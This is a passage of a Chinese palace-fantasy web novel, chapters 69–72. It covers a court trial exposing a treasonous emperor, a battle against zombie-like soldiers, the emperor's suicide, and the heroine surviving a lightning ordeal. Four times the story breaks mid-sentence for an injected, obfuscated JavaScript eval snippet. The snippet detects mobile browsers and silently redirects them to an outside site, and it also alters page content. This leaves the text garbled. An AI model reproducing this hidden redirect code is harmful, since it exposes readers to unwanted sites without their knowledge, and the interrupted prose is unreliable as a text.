雪渐渐下大了,天地间一片洁白。 裴少清头上身上落满了雪,脑袋低垂着,一声不吭,若非鞭打时他的身体疼得下意识抽搐起来,旁人还要以为他已经死了。 最后一鞭落下,行刑架上的裴少清被放了下来,一头栽倒在了雪地里,爬都爬不起来。 石永竹提着一个食盒走过来,见状忙快步上前,将食盒放在一边,伸手将裴少清搀扶着坐起身,一手揽着他,一手打开食盒,将里头的姜汤端出来,喂裴少清喝。 “裴大人,这是德妃娘娘命奴婢给您送来的,您快喝了暖暖身子。” 裴少清下意识吞咽起来。 姜汤里头还加了糖,喝起来甜辣辣热烘烘的,喝下去后,五脏六腑乃至四肢都暖了起来。 裴少清恢复了意识,也恢复了一些力气。 不知是不是他的错觉,这姜汤喝下去后,他不止全身暖了,身上的伤也好了许多。 他自己尝试着站了起来,朝石永竹拱了拱手,“替我多谢德妃娘娘。” 转过身,挺直脊背朝着皇城内走去。 从午门到举办朝会的文德殿,有很长一段距离。 裴少清非但没有倒下,反而越走越有劲儿,步伐越来越稳,越来越快。 身上的伤口传来强烈的痒意,像是在愈合。 他顾不得去查看伤口,眼下他只想尽快抵达文德殿。 “击鼓者裴少清到——”文德殿外,太监传诵道。 殿内,高坐龙椅的李淳看见裴少清直挺挺地走进来,虽形容狼狈,满身血污,但双眼明亮有神,嘴唇也是红润,哪里像是刚受了五十鞭刑的人? 他紧紧握住龙椅扶手,厉目瞥了旁边的墨春一眼。 墨春也是大为惊奇,明明他在皇上的授意下,吩咐行刑者要加大行刑的力度,寻常五十鞭刑就已经够要人命了,这裴少清受了更加厉害的五十鞭刑,竟然还活着,还能一路从午门走到这里? 是行刑的人阳奉阴违? 不,他不敢。 那么就是裴少清过于身强体壮了? 可也没听说过状元郎曾习过武啊。 墨春想不通,但他知道,自己又一次办砸了皇上交代的差事。 在百官的注目下,裴少清一步一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701250|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步走进殿内,到了前面,却并未朝着上首的皇帝下跪行礼,依旧脊背挺直地站着。 李淳神情一沉:“裴少清,为何不向朕行礼?” 裴少清没有回答李淳的话,而是转过身来,从袖中拿出一张帕子,上面是密密麻麻用鲜血写就的字。 他举着血帕,面向众臣:“诸位可知这是什么?这是家父临终前亲笔所写的一封血书,家父自陈他是罪人,对不起——” 李淳爆喝一声打断了他的话:“裴少清你放肆!这里是朝堂,岂容你在此胡言乱语,疯癫无状?来人,将他拖下去,押入天牢。” 两名禁卫军走进来,要将裴少清押下去。 被押下去时,裴少清手里的血帕掉了下去,飘落在了一人脚边,这人正是御史大夫焦璞,出了名的嫉恶如仇,刚直不阿。 连皇帝都敢参。 从前李淳不理朝政整日寻欢作乐时,他每天至少要上一封折子痛斥他的言行。 李淳烦他烦得不行,却又拿他无可奈何。 因为这人不好色不贪财,几乎没有什么弱点。 这会儿见焦璞捡起了那张帕子,李淳心里不由咯噔了一下,暗道不好。 可惜这时他想阻止也晚了。 焦璞看了一遍血书后,满心不可置信,又从头到尾看了一遍,缓缓抬起头,“皇上,裴祭酒在这血书上说,那封从姜府搜出来的通敌卖国的信,其实是出自他之手,而他之所以这么做,是因为受到了你的胁迫?” 这话一出,满殿哗然。 其他人纷纷围上来,从焦璞手里接过那封血书,传看了起来。 “什么?裴少清竟不是裴祭酒亲生的?而是裴夫人和已经圆寂的无相大师所生?皇上正是掌握了这一点,捏住了裴祭酒的把柄,为了家族声誉和裴少清的前途,裴祭酒不得不屈服,仿写了那封信……” “连这种隐秘都和盘托出了,难不成裴祭酒在血书上说的都是真的?” “皇上这是陷害忠良啊!” “岂止是陷害忠良,为了将姜赦通敌卖国的罪名坐实,皇上真的将边疆布防图递给了北周!害得我大齐边境数万军民丧生!” “我大齐竟然出了个通敌卖国的皇帝!这是天要亡我大齐啊!” “你们可还记得那句龟背谶言?妖孽化形,窃居紫薇,祸乱四方,天下分崩!如今看来,这句谶言竟是真的!” 大臣们痛心疾首,慷慨陈词。 然而这其中有多少人是真情实感,又有多少人是被安排的“水军”? 起初的慌乱过后,李淳冷静了下来,一封血书而已,算得了什么? 看着底下议论纷纷的大臣们,他深色沉冷,一言不发,直到他们都安静下来,这才开口:“都说够了吗? “一封来历不明的血书,就让你们自乱阵脚了?且不说这封血书是不是裴祭酒所写,就算是他写的又如何?焉知他不是在诽谤诋毁朕?他说什么你们就信什么,丝毫没有自己的判断力吗?” 一群大臣被说的哑口无言。 这时,殿外传来一声:“诋毁?那这封盖有玉玺印章的书信,皇上又作何解释?” 来人正是顺王,他跨进门槛,手中高举着一封信件。 70. 第70章 李淳盯着那封信,瞳孔缩了缩,那封信是怎么回事? 他绝不可能留下这种致命的把柄。 当初让人给北周传递的信件是动了手脚的。 信件是用一种特殊的药墨写成,那种墨水只能留存一个月。 一个月之后,就会消失殆尽。 如此一来,他暗通北周的秘密也就会随之消失了。 如今这封信怎么又出现了? 唯一的可能就是,这封信是假的,是有人伪造的! 就为了今日在大殿上拿出来指证他。 想到此,李淳放松了下来,既然是伪造的,那这封信定然有破绽,只要他指出破绽来,那么顺王和裴少清的指控就成了无稽之谈。 甚至都不需要他自己来,这些个臣子,也能看出破绽来吧? 别的不说,玉玺印章可不是轻易能仿造的。 然而当信件传完了一圈,重新回到顺王手里时,没有一个人提出质疑。 这一次,百官都沉默了。 因为太过不可置信,以及愤怒,他们一时不知该说些什么。 李淳心里有了不好的预感,“将信呈上来。” 顺王站在底下没动,“皇上莫不是想销毁证据?” 李淳:“放肆!顺王,你莫不是以为仗着兄长之名,朕就不敢动你了?” 顺王仰天大笑出声:“本王岂敢?莫说是对本王动手,就是太后,你的嫡母,你不也照样下得了手? “李淳,你先是诬陷我母后对你使用巫蛊之术,将她幽禁于宗人府,后又命人磋磨折辱于她,让她整日刷马桶,若是不刷够,就没有饭吃!你堂堂一个皇帝,怎能做出如此下作腌臜,不孝不义之事来?!” 继陷害忠良、通敌卖国之后,李淳身上又多了一项罪名——弑杀嫡母。 李淳冷笑:“顺王,朕知道你觊觎皇位,所以无所不用其极地给朕泼污水,好将朕拉下去,但是你以为凭着区区两封信,就能给朕定罪吗? “刑部尚书,你来说,如何才能给一个犯人定罪?” 刑部尚书:“回禀皇上,若要给人定罪,须得人证物证俱全。” 李淳扫了众人一眼:“诸位可听清了?这两封信,姑且算是物证,那人证呢?你们只听了顺王的一面之词,就给朕定罪了?” 顺王:“皇上急什么?人证,自然也是有的。” 他拍了拍手掌,殿外一个人应声走了进来。 此人一身白色缁衣,脑袋光光,手持佛珠,气质圣洁,正是禅师空明。 事成之后,李淳遵守承诺,派了一支军队给空明,随他一起回国报仇救母。 然而,实际上李淳暗中还给这支军队的将领乔良下达了一个命令——在路上将空明杀人灭口。 当空明遭到围攻陷入绝境时,顺王派来的人到了。 顺王给下属下达的命令是将空明活捉,带回京城。 敢陷害他母后,害得母后沦落到晚节不保,刷马桶的境地,他要让空明生不如死! 所以顺王的人将空明救了下来,带回了京城。 顺王将空明折磨了一番,但想到还要让空明出面当人证,就留了他一命。 看到活生生出现的空明,李淳脸色难看无比。 几个月前,乔良回来说任务已经完成,空明已经葬身于无尽的沙漠之中。 如今空明怎么又好端端出现了?难道他是鬼不成? 只有一个可能,乔良骗了他! 准确来说,乔良是奸细! 他真正的主子是谁? 顺王,还是李玄璋? 殿内,空明将一切和盘托出。 他的身世,他的过往,他与皇帝李淳的交易,他诬陷太后的经过…… 最重要的,是那枚李淳亲手给他的黄玉龙纹扳指。 当空明将这枚扳指拿出来时,他所说的话便有了可信度。 顺王没有给李淳喘息的机会,紧接着又拍了拍巴掌。 又一个证人进了殿。 此人穿着一身异族服饰,头发披散下来,身材高大健硕,高鼻深目,皮肤小麦色,有种野性的俊美。 正是被周景星俘获,押入京城来的北周二皇子拓跋烈。 拓跋烈出现后,直言那封盖有玉玺印章的信,就是大齐皇帝李淳派人送去北周的。 而那个人,他到现在还记忆犹新。 他朝皇帝身边的墨春一指:“当初就是他,将信送去了我北周王庭,亲手交给了我父王。我父王原本还不信大齐皇帝会这么傻,将自己国家的城池拱手相让,但是我说不妨试一试,反正我们每年都要到大齐边境去劫掠一波物资。 “于是我父王就交给了我两万大军,我率领大军来到边境,先派人打探了一番,发现大齐皇帝提供给我们的边防图竟然是真的! “有了边防图,这场仗我打得甚是痛快!一连下了三座城池,劫掠了无数女人和牛羊财宝,哈哈,那一次,我北周可是收获颇丰啊,这一切都多亏了你们大齐皇帝的慷慨解囊。” 拓跋烈的这番话,不断回荡在大殿内,犹如一记响亮的耳光,循环扇在百官的脸上。 有人当场就气得吐了血,晕了过去。 李淳脸色铁青地站了起来,“非我族类其心必异,此人如此明显的挑拨离间,你们竟也会信吗?朕再如何不济,也绝不会视边关将士百姓的性命为儿戏,这分明是顺王与北周勾结,合伙往朕头上泼脏水!你们莫要上了他的当!” 这番话也有道理。 不少大臣迟疑起来。 这时,外面传来了一阵铁甲铿锵声,众人看去,竟是周景星率领大批士兵到来。 李淳眼中闪过一抹慌乱:“周景星,你要造反吗!” 周景星越众而来,“微臣并不是要造反,而是来为边境那些无辜枉死的军民求一个公道。 “皇上,北境的边防图,可是你泄露给北周的?” 李淳当然不会承认,“周景星,你胆敢率军擅闯宫禁,已是犯了死罪,朕给你一个将功赎罪的机会,只要你将这些乱臣贼子都杀了,朕就恕你无罪。” 周景星重复了一遍:“皇上,北疆边防图,可是你泄露给北周的?” 李淳额头青筋蹦起,周景星竟敢当众质问他!还一而再再而三,他算个什么东西! 心中杀意暴涨,恨不得现在就下令将他拖下去斩了。 然而现在他还用得着他。 李淳深吸一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715141|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,“周景星,朕明确地告诉你,没有,朕绝不会向敌国泄露边境的军防图。” 然而就在他说完这话时,周景星从怀中拿出了一个小小的透明琉璃瓶。 瓶中有一只类似萤火虫的蛊虫,名为真言蛊。 顾名思义,这只蛊可以判断人说的是否为真话。 若说的是真话,真言蛊就会散发出光芒来。 若说的是假话,真言蛊就没有动静。 看着瓶中没有发光的真言蛊,周景星悲凉地笑了笑。 “皇上,你可知这是什么?” 也不等李淳回答,他就道:“这是真言蛊,听到真话时,它会发光。” 李淳一拍案桌:“荒唐!这世间怎么可能有这种东西?” 周景星高举琉璃瓶,看向那些大臣:“有哪位大人愿意试验一下此虫的真假?” 御史大夫焦璞第一个响应:“我来。” 他对着瓶中的真言蛊道:“老夫姓焦名璞,字琢玉。” 真言蛊亮了。 焦璞又道:“老夫年六十三。” 实际上他还不到六十。 所以他这回说的是假话。 真言蛊毫无动静,没有像刚才那样亮起来。 焦璞面露惊异,又接连试探了几次,得出结论:“这真言蛊果真如镇北侯所言,说真话时会亮起来,说假话时则毫无反应。诸位不妨也来试一试。” 大臣们一个个排着队上前试验了一番,证实了真言蛊的真实性。 如此一来,先前皇帝说自己没有通敌卖国的话,显然是假的! 没有人将这句话明确地说出来,但大臣们心中已然对皇帝产生了深深的质疑。 面对百官或震惊,或谴责,或痛心,或失望……的眼神,李淳知道大臣们的心已经背离他这个皇帝了,再争论下去也无益。 他看向顺王,顺王也看了过来,两人的目光在空中相撞,俱都带着要置对方于死地的狠辣。 “玄武军何在!”李淳率先出声。 数百名身着太监服的玄武军应声到来,从侧门涌入殿内,手持武器挡在李淳身前。 “顺王勾结北周,欲谋朝篡位,罪无可赦,将其就地斩杀!” 成王败寇。 只要顺王死了,那自己就依然还是皇帝,到时候通敌卖国的罪名正好可以安在顺王头上。 至于这些胆敢指责忤逆他的大臣,全都打成乱党,让他们和顺王一块儿到地底下团聚。 “谁若敢阻拦,一律视为乱党,格杀勿论!”李淳又加了一句。 玄武军朝顺王杀了过去。 焦璞想要劝阻,“皇上——” 然而才一开口,玄武军的刀尖就毫不留情地刺了过去,将他捅了个对穿。 其余人见状,哪里还敢冲上去?纷纷四散而逃,找地方躲避。 顺王自然不会坐以待毙,不过动手前,他还是给自己扯了张大旗:“皇帝已经丧失了神智,沦为了妖孽!诸君还在等什么?来啊,随本王斩杀妖孽!” 抽出腰间的软剑迎敌。 周景星率领早已愤怒无比的镇北军跟在顺王身后,纷纷拔刀杀敌。 转眼间,文德殿就成了一座战场。 71. 第71章 禁军看着交战的双方,不知道该加入哪一边。 按理说他们应该加入皇上的阵营,对付顺王。 但是先前发生的种种让他们意识到,皇上为了做局陷害姜相,竟然丧心病狂到跟敌国勾结,不惜牺牲北境数万军民的性命。 这样的皇帝,说他是暴君都是夸奖了,还有什么效忠的必要? 但现在皇帝还是皇帝,他们若是加入了顺王那一边,岂不是成了乱党? 禁军统领陷入了左右为难,看见那些躲避的大臣,他灵机一动,高声下令:“快,保护大人们!” 玄武军数量比不过镇北军,但每一个玄武军都是当做死士来培养的,打起来不要命似的。 他们一个个仿佛只知杀戮的人形兵器,眼神漠然,全然没有身为人的感情,就算受了伤也能面不改色,只一心斩杀敌人。 真真正正的杀人不眨眼。 更可怕的是,那些死去的玄武军过了会儿,竟然又站了起来! “复活”过来的玄武军,眼珠猩红,面色青黑,指甲锋利,俨然成了一具具僵尸。 他们不再使用武器,而是直接用尖利的獠牙和爪子攻击敌人。 而被他们咬到或抓到的镇北军,没过多久竟也变成了和他们一样的怪物。 毫无理智,满心杀戮嗜血的怪物。 它们将獠牙和利爪对准了曾经的同袍、战友…… 跟随周景星进殿的镇北军,个个都是身经百战的老兵,从死人堆里爬出来的,心理素质远超常人。 他们一般不会感到害怕,但此刻,面对着这些怪物,他们真的怕了。 “鬼,鬼啊!” “怪物!” “皇帝真的是妖魔!” 不少镇北军的心理防线都崩溃了,无法再战。 那些怪物趁机扑向他们,咬住他们的脖子,吸起了血。 转眼间,被吸了血的镇北军也变成了怪物…… 顺王惊骇不已,想起了曾经看过的一本古书,里面提到了一种僵尸蛊。 说是中了此蛊的人,虽然活着,却与死无异,只能听懂简单的指令。 他们的身体是杀不死的,即便被杀死了,也能很快站起来,除非将他们体内的僵尸蛊给杀死。 最可怕的是,僵尸蛊繁殖极快,一旦被中了蛊的人抓伤或咬伤,身体也会被僵尸蛊入侵,变成没有理智的僵尸。 他以为,这只是前人杜撰出来的,没想到世间真的存在这么歹毒的蛊! 还被李淳给用在了士兵身上。 他真的是疯了! 顺王此时已经顾不上杀死李淳争夺皇位了,他只想尽快离开这个鬼地方,免得也被僵尸蛊给入侵了。 “悬象(周景星的字),我们走。” 顺王朝大门奔去。 周景星为他断后。 然而原本敞开的大门,突然“砰”一声关上了,紧接着,那些窗户、侧门也全都被从外面关上了。 所有人都被困在了大殿内。 见状,原本还心下得意的李淳也不由慌了,是谁干的? 难道除了顺王之外,暗中还隐藏着一股势力? 不论如何,先将顺王解决掉再说。 李淳下令:“杀了顺王!” 殿门厚重,根本不是一时半会儿破得开的,一大群僵尸又已经逼近,顺王和周景星只得率领剩下的镇北军回身迎敌。 可惜,肉体凡胎的镇北军,又怎么打得过中了僵尸蛊的怪物呢? 镇北军一个个倒下,又一个个站了起来,沦为怪物,加入了敌人的阵营。 最后顺王身边竟然只剩下了周景星一个人。 两人背靠背,紧紧握着手中的武器,精神紧绷。 在他们周围,是密密麻麻围上来的僵尸怪物。 没来得及跑出去的大臣和禁卫军,此刻死死缩在大殿角落里,大气也不敢喘一下,生怕引起那些怪物的注意。 这会儿他们完全相信了顺王说的话——他们的皇帝,就是个妖孽! 不然他手底下怎么会有这么多怪物下属? 活着的时候是杀戮怪物,死了之后就变成了嗜血的怪物…… 要是顺王和周将军也被他们杀死了,那可怎么办? 接下来是不是就轮到他们了? 台阶上方,李淳毫不留情地下令:“杀!” 被僵尸怪物包围的顺王和周景星回头对视一眼,不约而同做了一个决定。 在如此多怪物的围攻下,他们注定活不下来了。 而一旦被僵尸怪物杀死,那他们不久之后也会沦为怪物,成为李淳手底下的傀儡,变得毫无理智。 那样的话,他们还不如真的死了算了! 顺王和周景星同时举起了手中的刀,却不是朝着那些杀过来的怪物,而是抹向了自己的脖子。 然而就在他们的脖子即将被割开时,两道绿色的藤蔓不知从何处疾射而来,缠住了他们握刀的手,阻止了他们的自杀。 与此同时,更多的藤蔓破窗而入,犹如钢绳一般穿透了那些僵尸怪物。 藤蔓上生着许多细小的触须,这些触须甫一接触到僵尸,就像吸管一样插-入他们体内,贪婪地吸食起了它们的鲜血。 眨眼间,一个个僵尸怪被吸成了干尸,只剩下一张张薄薄的皮,连身上的衣服都支撑不住,纷纷坍塌在地,再也立不起来。 至于僵尸怪体内的蛊虫,因着失去了宿主,无法获得血肉供养,也无法再作祟了。 但那些藤蔓并未罢休,它们仿佛有灵性一般,在半空中纠结缠绕,组合成了一只绿色的藤蔓大手。 大手将那些人皮集结在一起,一个点燃的火折子从天而降,落在了人皮堆上,将它们点燃了。 一股腥臭恶心的焦烟味弥漫开来。 殿内的幸存者闻到这股味道,都一阵作呕。 不多时,那些人皮被烧成了一堆黑灰,连同里面的僵尸蛊一起,彻底消亡了。 顺王等人看着这一幕,都有种劫后余生之感,长长松了口气。 李淳的表情因为愤怒和恐惧变得扭曲起来。 这些藤蔓是怎么回事? 是有人操控的,还是成了精? 眼见着顺王这些乱臣贼子就要死了,自己就要胜了,这些藤蔓突然跑出来,让他功亏一篑! 该死! 心底咒骂着,却见那只藤蔓大手突然转向,朝他抓了过来。 李淳吓得连连后退,“别过来!” 藤蔓大手在半空中顿了顿,旋即以更快的速度逼近他,一巴掌朝他扇了过去。 将他扇得从台阶上滚了下去。 原本尊贵精致的龙袍,在满地的血污中滚了好几圈后,变得脏污不堪,腥臭难闻。 好不容易停下来,李淳挣扎着从地上爬起来,这时,殿门从外面打开了。 一道身影逆着光走进来,身披一件玄色大氅,身姿颀长,一张脸美得雌雄难辨。 一只足有豹子那么大的黑猫亦步亦趋地走在他身侧,步履优雅,却又充满了危险性。 那道身影停在了李淳面前,笑意凉薄:“皇兄,许久不见,别来无恙?” 李淳震惊之下脱口而出:“李玄璋?你不是死在河阴县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721136|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?!” 未央宫。 借口要午睡,躺在床上远程操控藤蔓的姜念虞蓦地睁开了眼睛。 李玄璋果然是幕后的大boss。 原本她操控藤蔓到文德殿,是想看看事情的进展。 哪知刚一过来,就看见一群丧尸朝着顺王和周景星扑了过去,而这两人正准备自刎。 末世六年,她深知丧尸的可怕之处,救下两人后,就赶紧将那些丧尸给杀了。 杀了还不算,又将它们焚尸灭迹。 这玩意儿可不能有一丝残留。 一旦传染开来,这个她好不容易穿来的世界恐怕要沦为第二个末世了。 李淳这个完蛋玩意儿,竟然把丧尸这种东西都弄出来了。 姜念虞心里对他的杀意瞬间达到了顶点。 这种危险的疯子,她绝不允许他继续活着,破坏她好不容易得来的安宁生活。 两天后,姜念虞见到了李玄璋。 “姐姐,我回来了。”李玄璋走进来,解下肩上的披风交给随从,冲她欣然一笑。 他还是女装打扮,一袭低调奢华的月白宫装穿在他身上,模糊了男女的界限,美得有种不真实感。 几名内侍抬着箱子跟在他身后走进来,将箱子放在了地上。 姜念虞从火盆边起身,一脸惊喜地迎上去,“蓁蓁,你什么时候回来的?” 李玄璋有些歉疚道:“其实我早在半个月前就回来了,只是不便露面,所以没有告知姐姐,还请姐姐不要怪罪。” 姜念虞腹诽,嘴上姐姐长姐姐短,其实根本没把我当自己人。 不过演戏嘛,你演我也演,演到你流泪。 “怎么会呢?看到你能平安回来,我高兴还来不及。这些箱子是?” 李玄璋抬手示意了下,那些内侍将箱子一一打开,露出了流光溢彩的锦缎以及一只只包装精美的匣子。 “这些是我从蜀州那边带回来的特产,姐姐瞧瞧可喜欢?” 姜念虞上前,将那些匣子一一打开,有特色糕点、茶叶、精美的首饰、器物…… 除此之外,还有许多种子,都分门别类地装在小瓷罐中,罐子上还贴了纸条。 她粲然一笑:“喜欢,怎么会不喜欢?蓁蓁你太有心了。” 然而她的神情落在李玄璋眼里,却叫他感受到了一丝异样,她这番表现,似乎有些过于刻意了。 难道是太久没见,她对他生疏客气了? “姐姐,我打算让李淳下罪己诏,自请退位,传位于晟儿,你觉得如何?” 火盆边,李玄璋给姜念虞剥着栗子,闲话家常般说起了惊心动魄的话题。 姜念虞心头一跳,“为何要传位于晟儿?你怎么不自己登基?” 李玄璋:“我的目标从来都不是皇位,而是将李淳从龙椅上拉下来,如今我已做到了,接下来谁来坐那个位子,于我而言都不重要。 “看在姐姐的面子上,我可以力举晟儿登基,成为新帝。” 姜念虞不知他说的是真话还是假话。 或许他真的无意于皇位,又或许他只是有所顾忌,觉得现在还不是登基的时候,毕竟他到现在对外的身份都还是“蓁蓁公主”。 从公主到皇帝,这中间可要经过不少的波折。 还不如先推一个傀儡皇帝出来,他自己当摄政王。 等时机到了,傀儡皇帝就可以下线了。 如果是这样的话,那晟儿到时候就危险了。 姜念虞:“我得问问晟儿的意见。” 李玄璋:“好,这件事不急,姐姐可以慢慢考虑。” 72. 第72章 李玄璋的动作很快,第二天就让李淳下了罪己诏,布告天下,向全天下的百姓忏悔自己做了什么事,犯下了何种不可饶恕的罪行。 姜念虞拿了一份告示版的罪己诏,去了软禁李淳的保和殿。 “汪,汪汪,汪——” 李淳趴在地上,头发披散着,发出阵阵狗吠。 看起来颠颠的。 仿佛失了智。 不知道是真疯了,还是在装疯卖傻,想惑人眼目活下来。 姜念虞走过去,在李淳面前蹲下来。 李淳流着哈喇子冲她傻笑。 姜念虞冲他伸出一只手,手心里一颗种子迅速发芽长大,变成了一根血红色的荆棘,在她掌心里蛇立而起。 像一条真正的毒蛇,随时会发起进攻。 李淳被这猝不及防的一幕吓到了,一屁股跌坐在地。 “你,是你?!” 姜念虞露出一抹恶劣的笑容,“你果然是装的。” 李淳被她识破,也不再装疯卖傻了,阴冷怨毒地盯着她,像是恨不得扑上来将她咬死。 姜念虞这时候反倒笑了,将罪己诏拿出来给他看,“李淳,你的罪行已经被公诸于天下了。” 李淳几乎是用抢的将告示抓过去,看了两眼,就疯狂撕扯起来,将告示撕扯成了无数个碎片。 姜念虞:“你扯坏了这一张也没用,京城,乃至大齐五十六州,到处都张贴了你的罪己诏,如今的你,在百姓眼中是一个十恶不赦的暴君,他们都盼着你快点去死呢,好给新君腾位置。” 李淳爆喝一声:“不!不该是这样的……明明我已经……老天爷是站在我这边的,明明我才应该是最后的胜利者……” 他双手用力抠着地砖,指甲劈裂了也像是没感觉似的,只一个劲儿地念叨着。 这样的他,才像是真的疯了。 姜念虞凑近他耳边,继续刺激着他:“重活一世又有什么用?还不是落得跟之前一样的下场?被当成狗拴在文德殿前的柱子上,毫无尊严生不如死地活着…… “依我看,老天哪里是帮你,分明是害你,让你重新经历一遍前世的种种伤害……” “啊!闭嘴!”李淳神情狰狞地朝她扑过来。 姜念虞敏捷如鹞鹰,飞身往后一退,便退出了他的攻击范围。 她放下一个油纸包,里头是温热的食物。 “原本,我是来杀你的,你诬陷我爹通敌卖国,将我爹娘流放边疆,害得她们吃尽了苦头…… “但谁让你是晟儿的爹呢,晟儿已经没了娘,你这个爹虽然没什么用,但活着总比死了好,不然晟儿就要变成无父无母的孤儿了,那也太可怜了。 “你放心,为了晟儿,我会让你活着,长长久久地活着,直到他长大,不再需要你为止。” 说完这番话,姜念虞转身离开。 走了没几步,身后传来“砰”的一声巨响。 她转过身来,就见李淳从柱子上滑下来,脑袋已经开了花,鲜血哗哗地流,甚至还有脑浆淌出来。 姜念虞在原地站了会儿,察觉李淳彻底没了气息,如释重负。 李淳死了。 他终于死了。 她没法杀死他,李玄璋估计也不能,谁叫他有主角光环呢? 但如果他是自杀的呢? 听了她那番话,他感到很绝望吧? 明明获得了重生这样的机遇,占尽了先机,结果到头来还是败给了李玄璋这个两世死敌。 想到接下来还会经历一遍前世的惨况,李淳就没有了继续活下去的勇气。 同时心里还怀着一丝不切实际的期望,或许这次死了,他又重生了呢? 如果能够再重生一次,他定然会更加小心谨慎,步步为营! 天空炸开一声轰隆巨响。 仿佛要破开一个窟窿。 原本晴好的天空忽然阴云密布,大雨倾盆而下。 姜念虞看了眼天,仿佛听见了阵阵愤怒的咆哮,嘴角忍不住翘了翘。 站在廊下欣赏着外面滂沱的大雨。 结果冷不丁被一道雷电劈中,全身都麻了。 贼老天,你这是迁怒! 姜念虞心底咒骂,在走廊中开启了蛇形走位,试图躲避接连劈下来的雷电。 然而那些雷电仿佛长了眼睛,不管她速度有多快,它们都能精准地劈在她身上,一道比一道厉害。 当挨到第三道雷劈时,姜念虞一个踉跄跌倒在地,索性不跑了,盘腿坐下来,引导着异能在体内不断运转,修复着被雷劈伤的身体。 轰隆! 第四道雷霆惊世骇俗地劈了下来。 紧接着是第五道,第六道……第九道! 李玄璋赶过来时,远远就看见一道粗如水桶的紫色雷霆,毁天灭地般直直朝着姜念虞劈下去。 霎时间,天地皆静,一切都好像不存在了。 雷声止歇。 大雨停了。 天空放晴。 刚才发生的种种,好像只是一场幻觉。 李玄璋冲到已被劈成废墟的亭中,双手疯狂地刨着。 终于,他从废墟底下刨出来了一个勉强维持着人形的焦炭。 他颤抖着手伸到她鼻尖,没有呼吸。 又将耳朵凑近她胸口处,连心跳也没有了。 她死了…… 姜念虞以为自己已经死了,被那场雷劫劈得魂飞魄散了。 但不知过了多久,她听见了晟儿的声音。 仿佛隔着一层厚厚的玻璃,声音听起来很模糊。 慢慢的,这层玻璃变得越来越薄,她听见的声音越来越清晰。 其它的感官也渐渐恢复了过来。 闻见了花香,应该是桃花。 尝到了药味,有人在用勺子给她喂药,动作很轻柔细致,她有意识地吞咽起来。 喂药的人似乎感觉到了,动作顿了顿,“姐姐,你醒了?” 原来是李玄璋。 姜念虞尝试睁开眼睛,但眼皮子像是被强力胶水黏在了一起,怎么也睁不开。 过了会儿她的意识又陷入了一片黑暗之中。 等她再醒来时,听见晟儿在旁边对她说话:“姨母,当皇帝好难呀,每天只能睡三个时辰,卯时初就得起来上早朝,下朝后,要跟着夫子们上课,一天要上五个时辰的课呢,晟儿好困啊,好想饱饱地睡上一觉……” 可怜的娃。 李玄璋终究还是让晟儿登基成了新帝。 他还这么小,说是皇帝,其实不过是坐在龙椅上的一个吉祥物罢了。 是真正大权在握的权臣手中的傀儡。 姜念虞想伸手摸摸他的脑袋,但手没能抬起来,只有手指能稍微活动一下。 可惜晟儿说着说着就趴在床边睡着了,没能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725410|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到这一幕。 姜念虞确认自己活下来了。 而且在遭了一顿雷劈后,先前怎么也突破不了的异能,现在已经成功突破到了九阶。 可惜这里不是仙侠世界——修士在度过雷劫后能得到灵气洗礼,修复身体。 她度过雷劫后啥也没得到,只留下了一具残破的奄奄一息的身体。 要不是异能源种持续不断地释放异能来修复她的身体,她早就嗝屁了。 “岁岁,娘回来了。我瞧着,你怎么还胖了呢?想来是躺在床上也没少吃饭,对吧?” 姜念虞:确实没少吃,李玄璋顿顿都给她喂流食。 虞婉儿一面给女儿擦身,一面跟她絮叨着:“蓁蓁公主重审了你爹的案子,洗刷了你爹的冤屈,还了他清白。 “这个死老头子来看过你之后,非要回碎叶城去,说是怕没了他照顾,院子里的凤枣树会死…… “还记得我跟你爹被流放时,你来送我们,特意给我们缝了两个腰包,腰包里放了不少东西,有凤枣、珍珠豆、金叶子、针线…… “我跟你爹吃了凤枣和珍珠豆,剩下的核没舍得扔,都留着,到了碎叶城后,就把种子种在了院子里,结果那些种子只有一颗凤枣核发了芽,其余的种子都没动静。 